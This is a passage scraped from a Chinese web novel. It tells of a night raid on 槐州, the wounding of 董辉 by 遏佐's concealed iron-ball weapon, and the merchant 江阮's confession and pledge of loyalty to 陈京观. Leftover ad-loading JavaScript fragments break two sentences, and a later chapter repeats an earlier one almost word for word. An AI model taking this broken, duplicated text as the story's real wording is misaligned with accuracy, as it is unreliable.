没有再说什么,只是老人的背影嵌在日落时分的晚霞里,多少有些英雄寥落的味道。 而薛磐前脚刚走,远处就有马蹄声靠近,陈京观抬头望去,是去巡视回来的董辉。 “怎么样?” 董辉摇了摇头,有些无奈,可陈京观拍了拍他,让他朝着薛磐的方向看。 “他去砍院子里的树了。” 董辉闻言,抿了抿嘴,半晌才开口道:“他之前同我说过,他之所以选那个院子,就是因为宸妃小时候体弱,那梨木能辟邪。” 听了董辉的话,陈京观喉咙一涩。突然间,他想起了过去某天父亲收到薛磐书信时的情形,他那日不似往常一样雀跃,看完信后久久没有言语,只是望着那落款的名字,最后说了一句:“君慎小心了一辈子,也就苦了一辈子。” 君慎。 这名字困住了他的一生。 “董叔,您说他怎么甘心的?” 望着薛磐的背影,陈京观莫名有些鼻酸,而他身旁的董辉叹了口气,也有些语塞。 陈京观再见到薛磐的时候,他已经换上了盔甲。今晚是他职守,带着一百人在城门口百里内巡防,虽说情报上讲遏佐这几日去了恪多部谈判还没回来,可他总觉得自己能瞒得过他,他未尝不会也用这招来降低他的戒备。 他刚领了兵士送回来的口信,就见着远远地一个黑影快步朝城门口走,他迎上去,正是薛磐。 他说他拿不起长刀,可依旧带头扛着那沉重的梨木。 “成了。” 薛磐领着人把新门闩换上,额角的汗珠子直往下淌,他顾不得别的,在袖子上找了处还算干净的地方擦了擦,然后笑脸盈盈地朝陈京观说。 “好,这门闩,能驱邪也定能驱鬼神。” 薛磐听了陈京观的话先是一愣,而后笑着叹了口气。 “女儿长大了,用不着父亲的庇佑了。那我这老伙计和我,便试着再护一护别人家的儿女。” 薛磐说起薛雯昭时,脸上的慈祥难掩半分。 “一定能护住,您放心。时候不早了,您先去歇着,明日早些时候您再来。” 陈京观的刀柄碰了碰薛磐的胳膊,而后者笑着拍了拍陈京观的肩也没有推辞。 此时,已是子时三刻。 可正当陈京观派人送薛磐入城时,他突然感觉到地面上开始出现有规律的震动,等着那震动愈加明显时,便依稀能听到西芥军队的军歌。 “关城门!迎敌!” 陈京观一声号令,周遭便是此起彼伏的传报声,他看着董辉从帐中冲出,一手系着扣子一手拿着刀,三步并作两步朝自己走来。 “他们果然还想搞偷袭。子时,还真会选时候。” 陈京观话音刚落,只见不远处冒出一个西芥人装束的骑兵小队,为首的,是遏佐的小儿子宛达。 “好啊,老子正愁报不了水患的仇呢!” 语毕,董辉一脚便踩在马蹬上,如箭在弦上,而周围的平远兵士也纷纷上马,循着几日前董辉安排的阵营向前冲锋。 那只西芥骑兵只是十二人制的游击部队,可带头的既然是宛达,势必后面还跟着大部队。 陈京观举手示意城墙上的弓箭手就位,同时在门前部署防御藩篱。两边的士兵如今都醒了神,各个摩拳擦掌。他们中有一大部分都是随着陆晁戍边的,要说对西芥没有点新仇旧恨,那绝不可能。 此刻队伍前的董辉已经拔刀刺向了对面领头的宛达,而宛达自然也早有准备,长枪的枪柄直接迎了上去,两人后面的士兵也互相纠缠起来。一时间,战马的嘶鸣和刀枪的碰撞声响作一片。 但是陈京观未变声色,他在等,等后面更大的那片云笼过来。 “唰”一声,一支箭刺破了陈京观面前的空气,只落在他脚边不足十米处,紧接着就是一阵箭雨来袭。 虽说西芥是骑兵为长,可是多年来的战争让他们吸取了许多别国的经验,加之骑射本就是他们所擅长的,于是他们惯常会用飞箭来开场。 可这些,陈京观自然早有准备。 他在那支箭落下之前便下令闪避,护卫队的盾牌也早就如铁墙一般,但这箭雨的确点燃了战争的气氛。只一瞬,四面皆传来喊杀声。 而陈京观往远处一看,为首的人胳膊上绑着黑巾,身形魁梧,骑在马上宛若巨兽一般。 那必然就是敌方首领。 “终于见面了,遏佐。” 22.卫戍槐州(三) 陈京观意欲动手时,前头的董辉已经与宛达打作一团。其实要论能力,董辉在宛达之上,可是年岁不饶人,宛达一个十五的小子有的是精神,纵然身上已经被董辉的刀砍了三条口子,但所幸都不致命,而董辉随着时间的流失不免露出疲态。 宛达抓住机会,利用长枪的优势挑翻了董辉的马。马上的人倒也机灵,趁着马落地之时翻身跳下,只是稍有些狼狈地朝后退了两步。 “呵,果然还是老了,想当年,你父亲也不是我的对手。” 董辉一手用长刀撑着地,落地时突然的刺痛让他发觉不知何时腰部竟被刺中。于是他另一只手扶在伤口处,准备寻机会再战。可宛达的血气冲上了头,显然不想给他缓和的时间,只见他双腿夹紧,扬着鞭子掉转马头,微微俯身就朝董辉跑来。 “董叔小心!” 说话间,一个声音从董辉耳边呼啸而过,他抬头再看时只见陈京观双手脱缰半悬在马上,手上的长刀作势就朝着迎面而来的宛达劈去。而宛达见躲闪不及,立刻拿手里的长枪去防,可还是被陈京观的刀背击中了腹部,顿时他只觉得五脏六腑都换了位置。 而这一幕正巧被刚赶来的遏佐看到,他立刻加快步伐朝陈京观冲过来,马蹄扬起的土和那一声嘶鸣回荡在纷乱的战场中,两边的士兵想要去拦,可还没等靠近就被他的长□□中了喉咙。 “阿布!救我!” 宛达的哭叫让马上的男人更加兴奋,他嗜血的性子如今闻到了血腥味,便一发不可收拾地表露出来。陈京观第一次看到人能被如此轻易的贯穿,如同砧板上的鱼肉,被轻轻抛起,随后重重落在地上。 而遏佐身后的士兵也被他的动作带动,纷纷朝着四散的守城将士发起进攻,一时间场面混乱非常。 “抓住我!” 陈京观听到了遏佐的声音,只见他将长枪背在身后,空出一只手一把就将宛达甩在自己的马匹上,而宛达有了父亲撑腰也更加放肆,朝着不远处的陈京观做着鬼脸。 遏佐虽说已经小四十了,可常年在那大漠生活,每日吃的都是新鲜的牛羊,并且好战的他一直保持着训练的习惯,纵然是数九寒天里也要带着儿子去克尔茶湖冬泳。 陈京观如今看着眼前的人,全然看不出岁月带给他的痕迹。 不过陈京观也不怯,若说那飞溅在遏佐脸上的血让其血脉喷张,那死去将士的尸首就让陈京观越发冷静。 他握着刀的手紧了紧,另一手拉着缰绳缓步朝遏佐的方向行进,而对面的人自然也注意到了他,其周围的士兵默契地退开,为首领让出一条道来。 只是还没等陈京观行动,便听他身后突然响起声响。 “让我再试试。” 语毕,董辉将腰间的碎布打了个结,吐掉了嘴里的血沫子,向前跑了两步一脚就蹬上了战马。许是刚才被宛达刺激到了,董辉这次的动作明显更张扬些,他接过了陈京观抛给他的新刀,在手里调了方向就冲着遏佐奔去。 而遏佐也自然不能空等着,他示意儿子下马,随后调整了长枪的位置,也冲着董辉的方向迎上去。 不过他故意放慢速度,等到董辉要接近时突然转了枪头,用力朝着地上一跺,那枪柄下便悬着两枚铁球。他随即将其扔了出去,董辉全然没有想到他竟在兵器上做了手脚,硬生生让那两枚铁球砸中了腹部,满口鲜血便喷了出来。 “记住,我还给你的!” 遏佐的话里带着西芥的口音与他骨子里的傲慢,虽然隔得远,但是陈京观听得很清楚,并且他很明确这句话是对着他说的。 人人都说遏佐睚眦必报,如今倒也是应验了。 董辉被伤,本还想继续追出去,却被身后的陈京观拦住。 二人再抬头时,只看到遏佐掉转了马头,远处的宛达也早就在马上预备着。他捂着腹部,但脸上满是神气。只是遏佐过去的时候也不惯着他,用那枪柄狠狠打在他身上,宛达也只好收了收嚣张气焰,随着父亲往回跑。 如今眼看着两人走了,骑在马上的董辉也卸了劲,刚刚受的伤突然化作疼痛感袭来,他手里的刀便应声落地。 “郎中!” 陈京观一个眼疾手快接住了脸色发白的董辉,而二人相贴的部分早就被血液浸湿。 董辉本还想说什么,却被嘴里的鲜血抑住了,陈京观朝他微微摇头,按着他的伤口帮他止血,将他半推半就的送进了军帐中。 遏佐的部队来得快去得也快,甚至还未走到弓箭手的射程范围内。很明显,他们这次没有想要攻城的意思,他们今日来,更像是知道了陈京观在,于是来挑衅一番。 可陈京观出城的消息,怕只有时刻盯着他的崇宁知道。可崇宁只是喜欢揽权,如今他是来抗击外敌,她断然不会糊涂到出卖自己人,这与她而言没有好处。 此事疑点颇多,而陈京观如今还没有时间能闲下来复盘。他望着满地狼藉,虽说也留下了不少西芥兵,可这才是平远军成军以来的第一仗,那地下穿着新盔甲的面孔,以后便再也见不到了。 “你也去帐子歇歇吧,你胳膊上也有伤。” 薛磐进城时便听到外面的声响,但席英拦着他不让他出门,最后索性让城门落了锁,只等着遏佐的军队退了才让薛磐出来,而薛磐一出来,就看到了被抬进去的董辉。 陈京观听了薛磐的话没应声,只是缓缓点了点头,转身时本想着低头把刀收起来,却看到了满手的血。 “他今日来就是为了乱你心绪,你别着了他的道。” 薛磐说着给陈京观递上帕子,但后者摆了摆手推开了,一个人走到水池边冲了很久的手。那水是从井里打上来的,放到半夜还有些凉,可陈京观冲着那些血迹,却觉得手心烧得慌。 “薛知州,你见到过遏佐的武器吗?” 半晌,陈京观也似回过了神,把湿漉漉的手在衣服上抹了两下走到薛磐身边,可只见薛磐摇了摇头,他手上正拿着刚才遏佐攻击董辉的铁球。 那铁球个头不大,但是只拿在手里就能感受到分量。整个球体是光滑的,可是每个小铁球上都一个圆环,遏佐应当就是用这个圆环将铁球固定在长枪上的。 “这样的武器我没见过一模一样的,但是我在书上看到过相似的,说是东亭当时的皇帝喜欢研究兵器,可总觉得刀枪剑太过寻常,便试着自己做一些暗器。其中有一种就是说以空心管装铁球,通过旋转使得铁球从管口发出,从而在近战时可以做到偷袭。但那时我只觉得应该如冷箭一般,未曾想遏佐竟将其改装在了长枪里。” 陈京观一边听着,一边用手拨动着那两枚铁球,心里思绪万千。 其实他自己心里明白,当时即使是他上去,也一定躲不过去,再加之遏佐最后那句话,总让他觉得董辉是替自己挨了这一下。 “您若是还有精神,帮忙照顾一下那边几个受伤的士兵吧,我去看看董辉。” 薛磐闻言,稍稍叹了口气,说:“这几日让董将军去我府上住吧,虽然敝舍也是陋室一间,可环境较这军帐还是好上不少。” 等话说罢,薛磐也没给陈京观再做辩驳的机会,便转身朝临时搭起来的医庐走过去。 当时槐州撤民的时候,与他平日里交好的几个郎中都被他费力留下了,如今刚好派上用场。 而陈京观望了望眼前的大家,总觉得心里堵了一口气。可他如今是平远军的将领,他的首要任务是吸取教训防止今日的场面再次出现。他深吸了一口气,进到了董辉所在的军帐。 只是他刚掀开帘子的一角,那血腥气就扑了上来,几个随军郎中给董辉换了药,外伤还好,就是那两颗铁球击打的部位怕是伤了脾肺,致使董辉久咳不止。 “少……少将军。” 见到陈京观来了,董辉便挣扎着要起身,陈京观连忙上去扶住他,将他平放在榻上,又用被子为他垫起来一些,好让他能与自己平视着说话。 “你先听我说。这几日你就安心养着,薛知州让你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去他府上,你也别推脱了,总归是对你的伤有好处。至于遏佐,”陈京观说起这个名字,便不禁咬紧下颌,“今日一番动作,也算是让我摸了摸他的底,他这些年为了与恪多争位,应当结识了不少各领域的人才,那暗器是我们掉以轻心了。” 董辉闻言抿了抿嘴,用力压了压翻上来的血水,缓缓开口道:“而且,他对你的行踪了如指掌。” 陈京观点点头,他刚才一个人发愣时盘算了很久,可丝毫没有察觉出自己在哪一步漏了消息,但事情发生了,那便必然是有因才有果。 不过好在今日的遏佐倒也留下了些线索。 “薛知州说那暗器可以溯到东亭,我会派人去查,若能摸到这条线,说不定也能知道跟在我身后的影子是谁。” 薛磐闻言点了点头,本还想着与陈京观再说些什么,但是腹部的肿胀感让他撑不起身子了,他微微吸气,生怕再扯到伤口。 “你先歇着,这几日轮守我派席英替你。” 说罢,陈京观扶董辉躺平,嘱咐了几句,便出了帐子。 刚从军帐里出来时,晨起的寒风吹得陈京观一机灵,不过脑子倒也清楚了不少。此时再瞧远处,陪了他们一夜的月慢慢隐到了云层里,一望无际的沙漠远处露出细微的朝霞,洒在金沙上格外耀眼。 陈京观恐怕这辈子都会记住今晚,这是他在槐州的第一夜,便收到了遏佐送来的大礼。 “师兄!薛伯伯说你胳膊上的伤也要处理一下!” 在帐子外守了许久的平芜看见陈京观出来了,便拉着身边的郎中朝他跑去。那小孩手上没轻没重,帮着郎中给陈京观包扎的时候还是将力度使大了,引得陈京观眉头紧皱。 但是平芜的注意力全在与陈京观叙说刚才自己所见的场景,明明陈京观就是亲历者,可平芜硬是要用自己的话绘声绘色的讲一遍,等他提到董辉被暗算时便开始连连叹气,后来他身边的陈京观索性闭上眼睛,权当是休息的时间。 一夜未眠,又加上昨夜的奔波,陈京观其实早就乏了,可是他的思绪很乱。 每次闭上眼便能想象出遏佐说最后那句话时的情景,继而慢慢联想到或许父亲临死前也被他如此对待,如此想着,他便睡意全无。 “行了,少将军记得三日后再换一次药。” 郎中朝着陈京观行礼,随后提着自己的药箱朝城内走去,他们多是半夜被城外的喊叫声惊醒的,现在又是替将士包扎,又是在后边熬药,看起来已经困得毫无生机。 陈京观向着郎中道谢,平芜嘴里的故事也算是讲完了,少年脸上突然降下一层阴霾,说道:“师兄,咱们能胜对吗?” 被平芜这么一问,陈京观反倒有些发愣。 最初,他想的只是回到朝堂上玩些政客惯使的心机,只要能问出当时的情形,能让萧霖还父亲一个清白就可以了。可是随着平远军有了雏形,再加上广梁水患,他突然萌生了要救一救这天下的想法。 他承认自己有些自以为是了,可他时至今日,这想法愈加强烈,他也就愈加没有退路可言。 但同时他也逐渐认识到了自己的想法是如此的单薄,以至于让他看起来只剩下一腔孤勇。 他草草起兵又草草出兵,表面上他原本的计划在推进着,可实际上他的计划早就不仅仅是报仇了,而更改后的计划,他又有多少谋算,他自己也不清楚。 平芜见陈京观没有回应,觉得他许是累了,也就闭上了嘴想要留陈京观一个人歇一歇,而他退了几步后,突然听到背后传来有些干涩的嗓音。 “能。” 简单的一个字,也足以消解少年本来抑住的愁闷。平芜闻言转过头,很笃定地朝陈京观点了点头,然后笑着跑开了。 陈京观望着平芜的背影,轻轻叹了口气,又低头瞧着胳膊上那歪歪扭扭的绑带,以及最后收尾时小孩很努力想要打出来的一个漂亮的结,嘴角还是扯出一丝笑容。 “那江某的问题,您有答案了吗?” 23.卫戍槐州(四) 忽然,头顶传来一人的轻笑,紧接着就是一个问句。陈京观抬头,看到江阮立在自己面前。他依旧裹着大氅,纵使是五月了也穿着严实。 见陈京观没有回应,他朝前走了两步,用手势示意自己能否坐在他旁边,身边的人没有反对,他便撩了撩垂在地上的外衣坐下。 “少将军昨夜一战,与遏佐也算势均力敌,只可惜了董将军。” 江阮的话欲言又止,陈京观知道他的说话习惯,只是此时要他再去猜测其中的言外之意,他不免有些心烦。 “江掌柜消息如此灵通?莫不是我来槐州的消息,也是你给遏佐的?” “是。” 江阮的声音清脆又响亮,陈京观没想到他回答得如此斩钉截铁,连一点掩饰都没有。他用余光瞥了江阮一眼,只见江阮依旧面不改色,似乎没有想要解释的想法。 “你是想说,我若不与你合作,我便要与你为敌?” 江阮听了陈京观的话,缓缓从袖口里伸出手来拍掌叫好,他再开口时,依旧是那般无所谓的语气。 “江某是生意人,与您谈不成了,自然要找下家,可您直到目前为止,依旧是我最好的合作对象。” 见陈京观没有与自己再打太极的意愿,江阮说起话来也就更直接了,他一边说着,一边环顾四周。 “论实力,您与遏佐其实没差,论处境,”江阮笑了一声,“其实也没差。我看中您的,是您这个人。” 陈京观对他说的话有些不明所以,但是他知道江阮一定对他的过往有所了解,不过究竟了解到了哪个地步,他还得再探探他的口风。 “我陈京观竟不知道,我难道还有什么过人之处,能让江掌柜如此念念不忘?” 江阮听出了陈京观语气里的试探,但是没接茬,只是顺着自己的想法说:“你以身为利剑,一脚踏进阙州城,这必定有你的目的,而这目的,估计你也不会说与我听。如今你又以身为诱饵,替萧霖去与崇宁争权,我不信你真是为了萧霖。如此说来,你有计划,也有行动,而且直到今日来看,都成了。其中或许运气成分很大,但我江阮,平生最缺的就是运气。” 说到这,陈京观竟听出了江阮语气里的一丝自嘲,而后者没有停顿,继续说:“我可以不问你的目的,甚至不干预你的行为,我只需要你在有需要时第一个与我开口,而我也想在你少将军的威名下求一片阴凉。” “仅此而已?” “仅此而已。” 江阮的说法陈京观自然不信,他能感受到身边的人城府颇深。从他的话中,其实能感觉出他的意思。 他想拉他下水,而那水底下是未知的深渊。 此时他若答应了江阮的邀请,无疑是与虎谋皮。可现如今,江阮是一个能量未知的助力,也同样是一个初露锋芒的危险,即使与他无法成为真正的朋友,陈京观也断然不想多一个这样对手。 “好,我应你。但是我有一个要求。” 陈京观侧过身,江阮也毫无隐藏的对上了他的眼神。 “我要你保证,于我绝对忠心。” 听到了陈京观的话,江阮不禁笑出了声,他望着陈京观眼神里有些复杂,半晌才开口道:“少将军还信这世上有绝对的忠心?” “信。你能不能做到我暂且不论,可我要你一句话。” 陈京观的语气很坚定,这一刻江阮其实并不太理解眼前的人了,他自诩识人无数,也自觉得已经十分了解陈京观了,可陈京观这句话却在他的意料之外。 “好,我江阮,对少将军绝对忠心。” 江阮一边说着,一边做出起誓的模样,那双手在风里定住,陈京观才看到了那上面有些泛红的骨节,他突然对江阮的装束了然了。 在这个天气里本不应该再有冻伤,除非那是旧时留下的印记。 “既然江掌柜与我成了盟友,那能否给我透透底,我的事,你知道多少?你又说与遏佐了多少?” 江阮想到了陈京观会开门见山地问,他缓缓放下手,将手又缩进了袖口,然后脸上如常挂着笑。 “少将军倒真不客气。行,那我便趁机来表表我的忠心。”江阮深吸一口气,缓缓开口,“你不是陈京观。” 短短几个字,却足以让双方明了当前的情态。陈京观的身子有些僵住了,那一刻他在脑海中设想了无数种江阮是如何得知自己真实身份的,可是无果。 这世上知道他是谁的人不多,认为他还活着的更是少数,江阮如何能够如此笃定。 “江掌柜说笑了,那我是谁?” 陈京观故作镇定,保持着刚才的姿态开口问道。 “少将军,你觉得我会在没搞清楚你是谁之前,就来找你吗?当真要我说出那个名字?” 江阮的语调微微上扬,脸上是抑不住的兴奋。陈京观有时觉得眼前的人是个疯子,仿佛自己的言行举止越能给别人带来震撼,他就越开心。 “好,那第二个问题呢?” 陈京观不再与江阮僵持,转而将话题移到了江阮身上。 “我本将心向明月,我自然不能让明月蒙尘。与他,我说了你的行踪,然后帮他改了兵器。” 江阮就是东亭来的。 一时间陈京观有些懊恼,而他的表情被江阮尽收眼底,他用肩膀微微碰了碰陈京观。 “那兵器,可还受用?” 既然已经成了盟友,陈京观也不能再拿江阮如何,但是他咽不下这口气。 “自然受用,若是没有董将军替我挡那一下,我如今就得躺着与江掌柜言语了。” 陈京观语气里的责怪没有丝毫掩饰,而江阮也听明白了他的意思,起身朝他拜了一拜。 “江某多谢少将军宽容。往后这些,悉数都是您的。” 见陈京观没有言语,江阮从腰间拿出一把匕首,二话不说就朝着自己的手心划去。 那道口子很深,刀尖离开时陈京观依稀还能看到里面淋漓的血肉,而江阮连眉头都没皱一下。他又看了看陈京观,可眼前的人依旧没有反应,他便拉起袖子又想来第二刀。 “行了。” 陈京观别过头,而江阮闻言只是笑了笑,将那带了血的匕首在自己的手帕上擦了擦,又用新帕子给伤口包扎,手法娴熟,不像是第一次做。 但是他的动作还是让陈京观有些讶异,眼前的人似乎没有痛觉,手起刀落间毫不犹豫,反而是看到血的时候,他察觉出了他眼睛里闪烁着的光芒。 江阮简单处理了伤口,又将自己的手塞进了袖子里,仿佛刚才什么也没发生一般,接着说:“至于遏佐,我想着应该有更好的人选能克制他。” “恪多。” 陈京观听出了江阮的意思,而江阮也点头默认了他的话。 “少将军今日先休息,明日午后江某再来,我带你去恪多的大帐。” 说完,江阮整了整外衣,作势要走,而陈京观开口道:“你连西芥都有眼线?” 陈京观的话惹得江阮发笑,他停下了脚下的动作,开口时却带了些让陈京观有些不明所以的伤感。 “我一个孤儿要在这世上混口饭吃,伏低做小是常态,而人们对我这一套都很受用,所以只要我愿意低头,他们都愿意赏我口饭吃。这百家饭吃着吃着,大家彼此也都熟络了,而人认识得越多,网织得就越密,如此,我也就成了现在的江阮。不知道少将军,能否领会?” 江阮说话时每一字每一句都比平日要慢,他似乎是刻意要留给陈京观一个思量的时间,但其实他一开口,陈京观便知道了。 孤儿,谁又不是呢? 他好在有宁渡护着,也算是没吃多少苦,但是这乱世没有几个如他这般幸运的,江阮便是其中一个。 “江掌柜,以后直呼我陈京观吧。” 陈京观朝着江阮的背影喊道,而他明显看到了那身影停顿了一下,随后江阮朝自己摆手,说道:“知道了,陈兄!以后也便叫我江阮吧。” 若说陈京观因为江阮偶然一次敞开心扉便认他做了朋友,这断然不可能,可是江阮愿意开口了,那陈京观便也愿意再等等,看他下一次是否依旧把自己当做朋友。 江阮走后,陈京观本意要再去巡守一圈,可耐不住薛磐和平芜两个人的软磨硬泡,到最后就连平海也来劝了,他只好作罢,在平芜的“看守”下回到了帐子里休息。 大脑长时间的过度思考早就透支了他的精神,现如今刚沾到那榻上,他就没了意识。 不过许是因为劳累过度,他那一觉睡得并不好,频繁能梦到一个画面。 皑皑雪景中,一个小男孩赤着脚往前跑,他周身都没有人迹,可他却像被催着。后来不知被什么绊倒了,顷刻间情绪全然爆发,他就跪在那雪堆上开始嚎啕大哭,可是雪会收音,量他喊得再大声,陈京观也依旧听不清他嘴里的话。 那个男孩不是他,他也从没觉得自己在哪里见过这个画面,可那一切十分清楚的映照在他脑海里,让他总觉得该是自己经历过的。 就这样,虽说睡着,可是陈京观这一觉睡得越发疲惫,一直第二日再见到江阮时,便被他调笑了。 “怎么,昨日我与你说的,让你夜不能寐了?你眼下的乌青都快比你眼睛还大了。” 江阮笑着,他掀开帘直接朝军帐里面走来,陈京观昨晚睡觉时压了胳膊,半夜平海还叫人给他换了药。如今他整个人打着赤膊,见江阮毫不顾忌地走进来,倒是有些局促。 “你进他人屋子不需要征得主人同意吗,江掌柜?” 听着陈京观依旧叫着自己“江掌柜”,江阮也自然明白了他语气里那几分无语。他没说什么,只是顺手将架子上的里衣扔给陈京观,然后朝后转了转身。 “少将军金屋藏娇了,怕我坏了你好事?若非如此,你紧张什么?” 江阮语气里的笑意更浓,陈京观也不再理会他,匆忙穿好衣服就想往帐子外面走,可他还没迈步,江阮就拉住了他。 “好,今日是我唐突,我也是情急,没想到少将军能误了时间。” 江阮的话一出,陈京观眉头一皱,他顺着那虚掩着的帘子朝外望,只见外面天光一片好,已然看不出昨日阴云密布的样子了。 “现在几时?” 江阮轻轻挑眉,说话时还带着一些唏嘘:“未时三刻,再迟些,我们就该留在恪多的帐子里过夜了。” 听到江阮的话,陈京观两眼一黑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,他是觉得自己这一觉睡的时间很长,可他只以为是因为做梦让他模糊了时间概念,可谁曾想他真的睡了一天一夜。 “走!” 陈京观伸手一把抓住桌上的刀便冲出帐子,而眼前的人们好像没觉得有什么不妥,看他出来了也只是朝他行礼,平芜更是连蹦带跳地跑过来问候。 “师兄,你醒啦!我们刻意守着帐子不让别人吵你,不过那个姓江的旁若无人就冲进去了。” 平芜的语气里满是怨怼,而“姓江的”就跟着陈京观后面,平芜见了他有些心虚,稍稍朝陈京观贴近。 “师兄,你怎么和他走得这么近?我听哥说你本不待见他的。” 陈京观拍了拍平芜的肩,他自己也不知道该从何说起。 昨日大家都忙着收拾战场,没有人注意到江阮的到来,而陈京观后来也忘了再和他们说一声便睡了,现如今这气氛倒有些尴尬。 “呃,江掌柜以后是我们盟友,你小子不可以再那样说话了。还有,我要与他出去一趟,你看顾好董将军,让平海守着营地,明白了吗?” 说完,陈京观没有再给平芜继续问下去的时间,转身就走,留下平芜一个人在原地急得跳脚,后来薛磐来了他便去告状,而薛磐对这一消息倒不是很诧异,他看着走远的背影,微微叹了口气。 “薛知州,你说师兄怎么和他混在一起了?” 平芜嘟囔着,脸上因为师兄刚才的训斥有些郁闷,薛磐将手里的糖糕递给他,那孩子便又展了笑颜。 “放心,你师兄最疼得还是你。他心里有自己的谋算,让他去做吧,我们替他守好家。” 而出了营地的陈京观加快了挥鞭的速度,想要在路途上追回自己耽误掉的时间,反观江阮好似并不着急,他骑着马的动作不算太熟练,只能勉强跟上陈京观的步子。 “倒也不用这么赶,我本想着让你吃完饭再走的。” 陈京观听到江阮的话没有回头,继续目视前方地跑着。 “我不想再因为自己的疏忽让大家等我了。” 他永远都会记得阙州城下那个老人的话,这辈子也不会忘了。 倒是江阮对他的反应有些纳闷,他快步向前赶了两下,尽量让自己的马头与陈京观的平齐,然后微微转头。 “那你为何没有怪你那些亲卫,替你看着时辰,是他们的职责所在。” “因为他们不是我的亲卫,是兄弟。” 陈京观的话几乎没有停顿,可他说完却顿了一下,手上的速度也不知不觉放慢了一些。 “我没告诉他们我已与你有约,他们也是出于好意想让我休息,若我在怪他们,是何道理?” 江阮闻言,笑而不语,只是稍稍伸手试图拉着些陈京观。 “那大善人,你能不能稍微慢些,我骑马的能力可没你好,到时候马没事,我先一步去了。” 听了江阮的话,陈京观没应他,可手上的动作确实是慢了一点,而他脸上的表情也不再如刚出发时紧绷,他稍微直了直身子,好让自己的胳膊舒服些。 “对了,刚才忘了给你,我托人制的药,专治刀伤箭伤。” 说罢,江阮在自己的袖袋里摸索着,然后递给陈京观一个小玉瓶,陈京观愣了一下,也没推辞便接下了。 “你信我?我觉得我给你的药有毒?” 江阮见他没有如往日一般再与自己迂回,便开口打趣道。而陈京观摇了摇头,将那玉瓶塞进了怀里。 “你说过,你对我绝对忠心。” 陈京观的话让江阮脸上的笑意停滞,他本想着或许眼前的人还会有什么语出惊人的表现,可短短一句话,倒是让他无话可说的。 陈京观没有理会江阮的迟钝,他怔了一下像是突然想到了什么。 “既然我对你如此信任了,那你能不能回答我一个问题?” 江阮有些了然地笑了,但是也没拒绝,他只听到陈京观继续说:“槐州的五月,用不着大氅了吧。” 闻言,江阮稍稍低头看了看自己身上的外衣,开口道:“我小时候冻怕了,身上也落下许多毛病,除非是三伏天,不然我总觉得骨子里钻风。” 陈京观听了没再说什么,虽说江阮的话要听一半留一半,但是这句话,他信。 两人之后也不再言语,专心赶路。 从槐州到恪多部最近的路要从克尔茶湖旁经过,他们两人倒也不显眼,很轻易就避开了遏佐的守兵,只是路过那片湖的时候,陈京观比以往的速度都要慢,他眼睛里印着湖光,江阮看不出他在想什么。 但在那种情态下,他觉得自己不该张口,便也随着陈京观放慢了速度,沿着湖边走了过去。 “前面就是恪多的边卫营了,我们要等着人领我们进去。” 陈京观从克尔茶湖旁边路过后便一直心有所想,此刻江阮再说话,他也只是点头应了。 二人的马靠近边卫营时便被拦下,来接应他们的是一个颇有风韵的女子。 她身着西芥的传统衣裙,头上的小辫随着她的骑马的幅度上下摆动,临近陈京观时才握住了缰绳,那马匹踏起来的沙土扬在眼前人的身上。 “走吧,我阿布等了许久了。” 24.卫戍槐州(四) 忽然,头顶传来一人的轻笑,紧接着就是一个问句。陈京观抬头,看到江阮立在自己面前。他依旧裹着大氅,纵使是五月了也穿着严实。见陈京观没有回应,他朝前走了两步,用手势示意自己能否坐在他旁边,见身边的人没有反对,他便撩了撩垂在地上的外衣坐下。 “少将军昨夜一战,与遏佐也算势均力敌,只可惜了董将军。” 江阮的话欲言又止,而他止住的地方正中陈京观此刻的心烦意乱的原因所在,陈京观对身边便不免生出些被戳破后的恼羞成怒。 “江掌柜消息如此灵通?莫不是我来槐州的消息,也是你给遏佐的?” “是。” 江阮的声音清脆又响亮,陈京观没想到他回答得如此斩钉截铁,连一点掩饰都没有。他用余光瞥了江阮一眼,只见江阮依旧面不改色,似乎没有想要解释的想法。 “你是想说,我若不与你合作,我便要与你为敌?” 江阮听了陈京观的话,缓缓从袖口里伸出手来拍手称赞,他再开口时,依旧是那般无所谓的语气。 “江某是生意人,与您谈不成了,自然要找下家,可您直到目前为止,依旧是我最好的合作对象。” 见陈京观没有与自己再打太极的意愿,江阮说起话来也就更加直接,他一边说着,一边环顾四周。 “论实力,您与遏佐其实没差,论处境,其实也没差。”江阮笑了一声,“我看中您的,是您这个人。” 陈京观对他说的话有些不明所以,但是他知道江阮一定对他的过往有所了解,不过究竟了解到了哪个地步,他还得再探探他的口风。 “我陈京观竟不知道,我难道还有什么过人之处,能让江掌柜如此念念不忘?” 江阮听出了陈京观语气里的试探,但是没接茬,只是顺着自己的想法说:“你以身为利剑,一脚踏进阙州城,这必定有你的目的,而这目的,你不必说与我听。如今你又以身为诱饵,替萧霖与崇宁争权,我不信你真是为了萧霖。仅从目前的状况来看,你有计划也有行动,而且直到今日都成了。其中或许运气成分很大,但我江阮,平生最缺的就是运气。” 说到这,陈京观竟听出了江阮语气里的一丝羡慕,而后者没有停顿,继续说:“我可以不问你的目的,甚至不干预你的行为,我只需要你在有需要时第一个与我开口,而我也依此在你少将军的威名下求一片阴凉。” “仅此而已?” “仅此而已。” 江阮的说法陈京观自然不信,他能感受到身边的人不过是在极力迎合自己的所愿,以达成他的心愿。而从他的话中,其实能明了他的心意。 他想拉他下水,而那水底下是未知的深渊。 此时他若答应了江阮的邀请,无疑是与虎谋皮。可现如今,江阮是一个能量未知的助力,也同样是一个初露锋芒的危险,即使与他无法成为真正的朋友,陈京观也断然不想多一个这样对手。 “好,我应你。但是我有一个要求。” 陈京观侧过身说道,而江阮也毫无隐藏的对上了他的眼神。 “我要你保证,于我绝对忠心。” 听到了陈京观的话,江阮不禁笑出了声,他望着陈京观眼神里有些复杂,半晌才开口道:“少将军还信这世上有绝对的忠心?” “信。你能不能做到我暂且不论,可我要你一句话。” 陈京观的语气很坚定,这一刻江阮其实并不太理解眼前的人了,他自诩识人无数,也自觉得已经十分了解陈京观了,可陈京观这句话却在他的意料之外。 “好,我江阮,对少将军绝对忠心。” 江阮一边说着,一边做出起誓的模样,那双手在风里定住,陈京观才看到了那上面有些泛红的骨节,他突然对江阮的装束了然了。 在这个天气里本不应该再有冻伤,除非那是旧时留下的印记。 “既然江掌柜与我成了盟友,那能否给我透透底,我的事,你知道多少?你又说与遏佐了多少?” 